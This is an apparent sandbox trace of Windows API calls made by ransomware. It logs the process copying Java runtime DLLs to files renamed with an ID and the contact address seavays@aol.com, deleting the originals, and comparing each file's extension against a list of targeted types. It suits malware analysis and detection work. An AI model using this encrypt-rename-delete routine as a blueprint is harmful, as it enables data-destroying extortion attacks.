SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.322] GetLastError () returned 0x0 [0078.322] ReadFile (in: hFile=0x394, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4e40, lpOverlapped=0x0) returned 1 [0078.324] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0078.325] ReadFile (in: hFile=0x394, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xee, lpOverlapped=0x0) returned 1 [0078.325] SetEndOfFile (hFile=0x37c) returned 1 [0078.326] CloseHandle (hObject=0x37c) returned 1 [0078.326] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.326] SetEndOfFile (hFile=0x394) returned 1 [0078.327] CloseHandle (hObject=0x394) returned 1 [0078.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.327] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString=".doc") returned 4 [0078.328] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString=".docx") returned 5 [0078.328] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0078.328] lstrlenW (lpString=".pdf") returned 4 [0078.328] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString=".xls") returned 4 [0078.328] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString=".xlsx") returned 5 [0078.328] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0078.328] lstrlenW (lpString=".ppt") returned 4 [0078.328] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString=".zip") returned 4 [0078.328] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString=".rar") returned 4 [0078.328] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.328] lstrlenW (lpString=".bz2") returned 4 [0078.328] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.328] lstrlenW (lpString=".7z") returned 3 [0078.328] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString=".dbf") returned 4 [0078.328] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString=".1cd") returned 4 [0078.328] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0078.328] lstrlenW (lpString=".jpg") returned 4 [0078.329] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.329] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.329] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.330] GetLastError () returned 0x0 [0078.330] ReadFile (in: hFile=0x394, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x39840, lpOverlapped=0x0) returned 1 [0078.335] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x39850, lpOverlapped=0x0) returned 1 [0078.340] ReadFile (in: hFile=0x394, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.340] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe8, lpOverlapped=0x0) returned 1 [0078.340] SetEndOfFile (hFile=0x37c) returned 1 [0078.340] CloseHandle (hObject=0x37c) returned 1 [0078.340] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.340] SetEndOfFile (hFile=0x394) returned 1 [0078.343] CloseHandle (hObject=0x394) returned 1 [0078.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.343] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0078.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.343] lstrlenW (lpString=".doc") returned 4 [0078.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString=".docx") returned 5 [0078.344] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0078.344] lstrlenW (lpString=".pdf") returned 4 [0078.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString=".xls") returned 4 [0078.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString=".xlsx") returned 5 [0078.344] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0078.344] lstrlenW (lpString=".ppt") returned 4 [0078.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.344] lstrlenW (lpString=".zip") returned 4 [0078.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString=".rar") returned 4 [0078.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.344] lstrlenW (lpString=".bz2") returned 4 [0078.344] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.344] lstrlenW (lpString=".7z") returned 3 [0078.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.344] lstrlenW (lpString=".dbf") returned 4 [0078.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.344] lstrlenW (lpString=".1cd") returned 4 [0078.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0078.344] lstrlenW (lpString=".jpg") returned 4 [0078.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.697] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.697] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.697] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0078.698] GetLastError () returned 0x0 [0078.698] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x2d640, lpOverlapped=0x0) returned 1 [0078.704] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x2d650, lpOverlapped=0x0) returned 1 [0078.708] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.708] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe4, lpOverlapped=0x0) returned 1 [0078.709] SetEndOfFile (hFile=0x348) returned 1 [0078.709] CloseHandle (hObject=0x348) returned 1 [0078.709] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.709] SetEndOfFile (hFile=0x370) returned 1 [0078.712] CloseHandle (hObject=0x370) returned 1 [0078.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.712] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0078.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.713] lstrlenW (lpString=".doc") returned 4 [0078.713] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.713] lstrlenW (lpString=".docx") returned 5 [0078.713] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0078.713] lstrlenW (lpString=".pdf") returned 4 [0078.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.713] lstrlenW (lpString=".xls") returned 4 [0078.714] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".xlsx") returned 5 [0078.714] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0078.714] lstrlenW (lpString=".ppt") returned 4 [0078.714] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.714] lstrlenW (lpString=".zip") returned 4 [0078.714] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".rar") returned 4 [0078.714] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".bz2") returned 4 [0078.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.714] lstrlenW (lpString=".7z") returned 3 [0078.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.714] lstrlenW (lpString=".dbf") returned 4 [0078.714] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.714] lstrlenW (lpString=".1cd") returned 4 [0078.714] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0078.714] lstrlenW (lpString=".jpg") returned 4 [0078.714] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.716] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.716] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0078.717] GetLastError () returned 0x0 [0078.717] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x8a40, lpOverlapped=0x0) returned 1 [0078.719] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x8a50, lpOverlapped=0x0) returned 1 [0078.721] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.721] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe8, lpOverlapped=0x0) returned 1 [0078.721] SetEndOfFile (hFile=0x348) returned 1 [0078.721] CloseHandle (hObject=0x348) returned 1 [0078.722] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.722] SetEndOfFile (hFile=0x370) returned 1 [0078.723] CloseHandle (hObject=0x370) returned 1 [0078.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.724] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0078.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.725] lstrlenW (lpString=".doc") returned 4 [0078.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString=".docx") returned 5 [0078.725] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0078.725] lstrlenW (lpString=".pdf") returned 4 [0078.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString=".xls") returned 4 [0078.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString=".xlsx") returned 5 [0078.725] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0078.725] lstrlenW (lpString=".ppt") returned 4 [0078.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.725] lstrlenW (lpString=".zip") returned 4 [0078.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString=".rar") returned 4 [0078.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.725] lstrlenW (lpString=".bz2") returned 4 [0078.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.726] lstrlenW (lpString=".7z") returned 3 [0078.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.726] lstrlenW (lpString=".dbf") returned 4 [0078.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.726] lstrlenW (lpString=".1cd") returned 4 [0078.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0078.726] lstrlenW (lpString=".jpg") returned 4 [0078.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.728] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.729] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.729] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0078.729] GetLastError () returned 0x0 [0078.729] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x7a40, lpOverlapped=0x0) returned 1 [0078.732] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x7a50, lpOverlapped=0x0) returned 1 [0078.734] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.734] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.734] SetEndOfFile (hFile=0x348) returned 1 [0078.734] CloseHandle (hObject=0x348) returned 1 [0078.734] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.734] SetEndOfFile (hFile=0x370) returned 1 [0078.736] CloseHandle (hObject=0x370) returned 1 [0078.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.736] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0078.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.737] lstrlenW (lpString=".doc") returned 4 [0078.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString=".docx") returned 5 [0078.737] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0078.737] lstrlenW (lpString=".pdf") returned 4 [0078.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString=".xls") returned 4 [0078.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString=".xlsx") returned 5 [0078.737] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0078.737] lstrlenW (lpString=".ppt") returned 4 [0078.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.737] lstrlenW (lpString=".zip") returned 4 [0078.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString=".rar") returned 4 [0078.737] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.737] lstrlenW (lpString=".bz2") returned 4 [0078.737] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.737] lstrlenW (lpString=".7z") returned 3 [0078.737] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.738] lstrlenW (lpString=".dbf") returned 4 [0078.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.738] lstrlenW (lpString=".1cd") returned 4 [0078.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0078.738] lstrlenW (lpString=".jpg") returned 4 [0078.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.738] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.739] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0078.739] GetLastError () returned 0x0 [0078.739] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x35e40, lpOverlapped=0x0) returned 1 [0079.130] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x35e50, lpOverlapped=0x0) returned 1 [0079.136] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.136] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe4, lpOverlapped=0x0) returned 1 [0079.136] SetEndOfFile (hFile=0x348) returned 1 [0079.136] CloseHandle (hObject=0x348) returned 1 [0079.136] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.136] SetEndOfFile (hFile=0x370) returned 1 [0079.139] CloseHandle (hObject=0x370) returned 1 [0079.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.140] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0079.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.141] lstrlenW (lpString=".doc") returned 4 [0079.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.141] lstrlenW (lpString=".docx") returned 5 [0079.141] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0079.141] lstrlenW (lpString=".pdf") returned 4 [0079.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.141] lstrlenW (lpString=".xls") returned 4 [0079.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.141] lstrlenW (lpString=".xlsx") returned 5 [0079.141] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0079.141] lstrlenW (lpString=".ppt") returned 4 [0079.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 